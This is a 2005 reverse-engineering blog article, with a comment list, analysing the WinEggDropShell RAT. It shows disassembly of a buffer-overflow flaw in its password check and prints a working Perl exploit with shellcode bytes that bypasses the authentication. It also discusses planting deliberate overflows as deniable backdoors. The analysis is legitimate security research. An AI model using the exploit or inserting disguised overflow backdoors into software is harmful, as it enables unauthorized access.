Flag: Tornado! Hurricane!

Plausible Deniability

Thursday, November 17 2005 13:27.14 CST
Author: joestewart # Views: 33973 Printer Friendly ...

Backdoors in software are a venerable trick used for decades now. Even backdoors sometimes have backdoors (the infamous SubSeven "master password", for example). But if you're going to put a backdoor into your remote access trojan (RAT), you risk your reputation when that backdoor is exposed. After all, some of the people you are supplying with your code are likely to be quite paranoid, and insist on checking things out with a debugger before trusting your code to be what it says it is.

What we wind up with is a situation similar to shareware protection schemes - you want to obfuscate your secret master password in your trojan so reversers won't find it. But, like all shareware protection schemes, it's only a matter of time before someone figures it out.

So, a more subtle approach is needed - one that doesn't require any extra "suspicious" authentication code to be added to the binary. Introducing an intentional buffer overflow into the program is one way to do this. If your cracker is looking for logic flow and password verification schemes instead of buffer overflow conditions, she might pass right over your backdoor without noticing it. And, as an added benefit, if you ARE discovered, you can always claim it was an innocent programming error, and salvage what's left of your reputation by releasing a bugfix.

But, while the community has long speculated that this might be a good way to backdoor code, has it ever happened? Well, that's a tough question - as the title of this article states, there is a degree of plausible deniability. We can never know the motive behind the flaw. However, sometimes, an error is just "too good" to be a mistake - so we are left with more suspicion than not.

While investigating a system intrusion, I came across a Chinese RAT called WinEggDropShell v1.41. (Note that the WinEggDropShell name comes from the author's handle, "WinEggDrop", and is not related to the IRC-based Eggdrop bot you may be familiar with.) As a matter of routine, I threw it into OllyDbg to find out how it worked. Even though there was documentation available from the author, it was of little use to me, as I don't read Chinese.

To start with, WinEggDropShell injects a DLL into the winlogon.exe process. The DLL is packed by EXE32Pack v1.38 on top of Aspack. Now, since Brett Moore told us that it's dangerous to load untrusted DLLs into OllyDbg, we want to avoid any pre-interaction code execution. Fortunately we can avoid this with a simple trick - we'll just tell OllyDbg this is an executable, not a DLL.

To do this, we simply load our target DLL into Stud_PE (or your favorite PE editor) and open the PE header for editing (in Stud_PE, "Advanced tree view in hexeditor")


Editing PE characteristics in Stud_PE


Find the "Characteristics" node in the treeview, and the hexeditor will highlight the corresponding 16-bit field (little-endian) in the PE header. In this case, the value is 0x2102, and the 14th bit (0x2000) tells the loader this is a dynamic-link library. We can clear that flag by editing the second byte of our highlighted word, changing "0x21" to "0x01". Click "Save to File", exit Stud_PE, rename the file to end in .exe, and load it into OllyDbg. Now it no longer complains about this file being a DLL, and it stops at the header-defined entry point without running the DLL initialization code.

This article is not about unpacking, though, so the actual unpacking of the DLL is left as an exercise to the reader :)

After unpacking and examining the file in OllyDbg, I located the authentication subroutine:

	1000209E  PUSH EBP
	1000209F  MOV EBP,ESP
	100020A1  SUB ESP,1AC
	100020A7  MOV ECX,6B
	100020AC  /DEC ECX
	100020AD  |MOV DWORD PTR SS:[ESP+ECX*4],FFFA5A5A
	100020B4  \JNZ SHORT TBack.100020AC
	100020B6  PUSH ESI
	100020B7  PUSH EDI
	100020B8  MOV EDI,DWORD PTR SS:[EBP+8]
	100020BB  MOV DWORD PTR SS:[EBP+8],EDI
	100020BE  MOV DWORD PTR SS:[EBP-188],0
	100020C8  PUSH TBack.1003EC0D             ; /<%s> = "Enter Password:"
	100020CD  PUSH TBack.10015210             ; |<%s> = ""
	100020D2  PUSH TBack.1003EC1D             ; |format = "%s%s"
	100020D7  LEA EDI,DWORD PTR SS:[EBP-180]  ; |
	100020DD  PUSH EDI                        ; |s
	100020DE  CALL TBack.10014E1C             ; \sprintf
	100020E3  ADD ESP,10
	100020E6  LEA EDI,DWORD PTR SS:[EBP-180]
	100020EC  PUSH EDI                        ; /Arg2
	100020ED  PUSH DWORD PTR SS:[EBP+8]       ; |Arg1
	100020F0  CALL TBack.100067C5             ; \TBack.100067C5
	100020F5  ADD ESP,8
	100020F8  PUSH 100                        ; /n = 100 (256.)
	100020FD  PUSH 0                          ; |c = 00
	100020FF  LEA EDI,DWORD PTR SS:[EBP-180]  ; |
	10002105  PUSH EDI                        ; |s
	10002106  CALL TBack.10014DEC             ; \memset
	1000210B  ADD ESP,0C
	1000210E  CALL TBack.10014978             ; [GetTickCount]
	10002113  MOV DWORD PTR SS:[EBP-184],EAX
	10002119  /PUSH 80                        ; /n = 80 (128.)
	1000211E  |PUSH 0                         ; |c = 00
	10002120  |LEA EDI,DWORD PTR SS:[EBP-80]  ; |
	10002123  |PUSH EDI                       ; |s
	10002124  |CALL TBack.10014DEC            ; \memset
	10002129  |ADD ESP,0C
	1000212C  |PUSH 0                         ; /Flags = 0
	1000212E  |PUSH 100                       ; |BufSize = 100 (256.)
	10002133  |LEA EDI,DWORD PTR SS:[EBP-80]  ; |
	10002136  |PUSH EDI                       ; |Buffer
	10002137  |PUSH DWORD PTR SS:[EBP+8]      ; |Socket
	1000213A  |CALL TBack.10014718            ; \recv

Notice anything odd about the recv call? BufSize is set to 256, and our buffer is pointed to by EDI. But right above that, we see a memset call with EDI as the buffer, but for only a count of 128 bytes. Why zero out only the first half of the buffer? Checking further back in the subroutine we see EDI was loaded with the local stack pointer [EBP-80] - meaning that our buffer was only defined as char[128] at the beginning of the subroutine.

So, arguments about whether this was intentional or not aside, we now have the ability to overflow our buffer by 128 bytes by sending a large password string. Of course, what fun would knowing this be without a proof-of-concept exploit?

    #!/usr/bin/perl
    
    ## usage: ./weds.pl | nc  
    
    $| = 1;
    
    print STDERR "WinEggDropShell 1.41 Authentication Bypass Exploit\n";
    print STDERR "By Joe Stewart <joe\@joestewart.org>\n";
    
    print "\x90" x 109;                   # filler
    print "\x0a\x00";                     # newline + null to pass check
    print "\x8d\xac\x24\x28\x04\x00\x00"; # LEA EBP,[ESP+428]   // fixup ebp
    print "\x83\xc4\x04";                 # ADD ESP,4           // fixup esp
    print "\xb8\xb8\x33\x00\x10";         # MOV EAX, 0x100033B8 // auth target
    print "\xff\xe0";                     # JMP EAX             // go there
    print "\x90\x90\x90\x90";             # doesn't matter
    print "\xa3\x39\x00\x10";             # location of jmp esp
    print "\xeb\xe5";                     # jump to shellcode
    
    while () {
        print;
    }

Short and to the point - it could even have been a Perl one-liner :) There's no need to write remote command shellcode into this exploit, because WinEggDropShell is already a remote command shell! So all we do here is use the overflow to put some code on the stack that jumps directly to the point in the binary where the authentication is flagged as successful, bypassing the password check and giving us access to the command shell. We can't just put the "good" address on the stack as a return address, though; we have to fix up the stack before we do that. So we still need to locate a good old fashioned JMP ESP, which we fortunately find at 0x100039a3.

Of course, we know that bot authors like to roll backdoor exploits into their arsenal, but before anyone tries that, note that WinEggDropShell 1.41 is fairly old, and it doesn't listen on a preset port. So they'd be wasting their time.

The only thing that remains is the question - can a buffer overflow this obvious be a mistake?

Article Comments Write Comment / View Complete Comments

    Username Comment Excerpt Date
JohnGrace Great blog. All posts have something to learn. ... Monday, March 4 2013 10:24.22 CST
JohnGrace I recently came across your blog and have been ... Monday, March 4 2013 10:23.23 CST
Agnesaa Very interesting discussion glad that I came ac... Monday, October 15 2012 19:36.28 CDT
Agnesaa Everyday is an interesting new life adventure. ... Monday, October 15 2012 19:35.54 CDT
Agnesaa Players will take adventures in a world full of... Monday, October 15 2012 19:35.37 CDT
Agnesaa [url=http://mmo-cards.com]Minecraft gift code[/... Monday, October 15 2012 19:35.25 CDT
Agnesaa [url=http://www.gw2gw2.com/gold.html]Guild Wars... Monday, October 15 2012 19:35.13 CDT
  Donner2011 This is such a great resource that you are prov... Wednesday, December 21 2011 04:05.54 CST
daniellewis *chuckle* I'm glad that most of you are alre... Wednesday, March 5 2008 17:45.39 CST
Zeroknock Good Knowledge .Great Thursday, June 1 2006 01:23.20 CDT
MohammadHosein :-) Monday, December 19 2005 04:35.26 CST
  Th3ChaS3r Amazing, i must have completely missed the fact... Sunday, December 18 2005 11:14.43 CST
joestewart Yes, these links are to Sowhat's exploit, which... Monday, December 5 2005 09:11.57 CST
  strasharo http://packetstormsecurity.org/filedesc/AD20051... Saturday, December 3 2005 06:05.40 CST
MohammadHosein have a look at this : http://www.milw0rm.com/id... Friday, December 2 2005 16:47.21 CST
JasonGeffner Malvin: "I can't believe it, Jim. That gir... Tuesday, November 22 2005 12:35.43 CST
MohammadHosein @Veritas : an old version of Bifrost , there wa... Saturday, November 19 2005 14:12.57 CST
Sowhat I have roughly checked the WinEggDropShell Eter... Saturday, November 19 2005 09:35.59 CST
Sowhat Good job! This is something what i want to t... Saturday, November 19 2005 04:00.45 CST
rfreeman Thanks Joe, I'll put some thought into potentia... Saturday, November 19 2005 00:49.59 CST
  Veritas [i]"months ago i found a Master Password i... Friday, November 18 2005 08:55.10 CST
joestewart Excellent work Robert! I'm hoping to see some a... Friday, November 18 2005 06:19.40 CST
rfreeman Well, I found a couple versions of this RAT. In... Friday, November 18 2005 00:59.11 CST
MohammadHosein months ago i found a Master Password in a stupi... Thursday, November 17 2005 18:40.56 CST

There are 31,310 total registered users.


Recently Created Topics
[help] Unpacking VMP...
Mar/12
Reverse Engineering ...
Jul/06
hi!
Jul/01
let 'IDAPython' impo...
Sep/24
set 'IDAPython' as t...
Sep/24
GuessType return une...
Sep/20
About retrieving the...
Sep/07
How to find specific...
Aug/15
How to get data depe...
Jul/07
Identify RVA data in...
May/06


Recent Forum Posts
Finding the procedur...
rolEYder
Question about debbu...
rolEYder
Identify RVA data in...
sohlow
let 'IDAPython' impo...
sohlow
How to find specific...
hackgreti
Problem with ollydbg
sh3dow
How can I write olly...
sh3dow
New LoadMAP plugin v...
mefisto...
Intel pin in loaded ...
djnemo
OOP_RE tool available?
Bl4ckm4n


Recent Blog Entries
halsten
Mar/14
Breaking IonCUBE VM

oleavr
Oct/24
Anatomy of a code tracer

hasherezade
Sep/24
IAT Patcher - new tool for ...

oleavr
Aug/27
CryptoShark: code tracer ba...

oleavr
Jun/25
Build a debugger in 5 minutes

More ...


Recent Blog Comments
nieo on:
Mar/22
IAT Patcher - new tool for ...

djnemo on:
Nov/17
Kernel debugger vs user mod...

acel on:
Nov/14
Kernel debugger vs user mod...

pedram on:
Dec/21
frida.github.io: scriptable...

capadleman on:
Jun/19
Using NtCreateThreadEx for ...

More ...


Imagery
SoySauce Blueprint
Jun 6, 2008

[+] expand

View Gallery (11) / Submit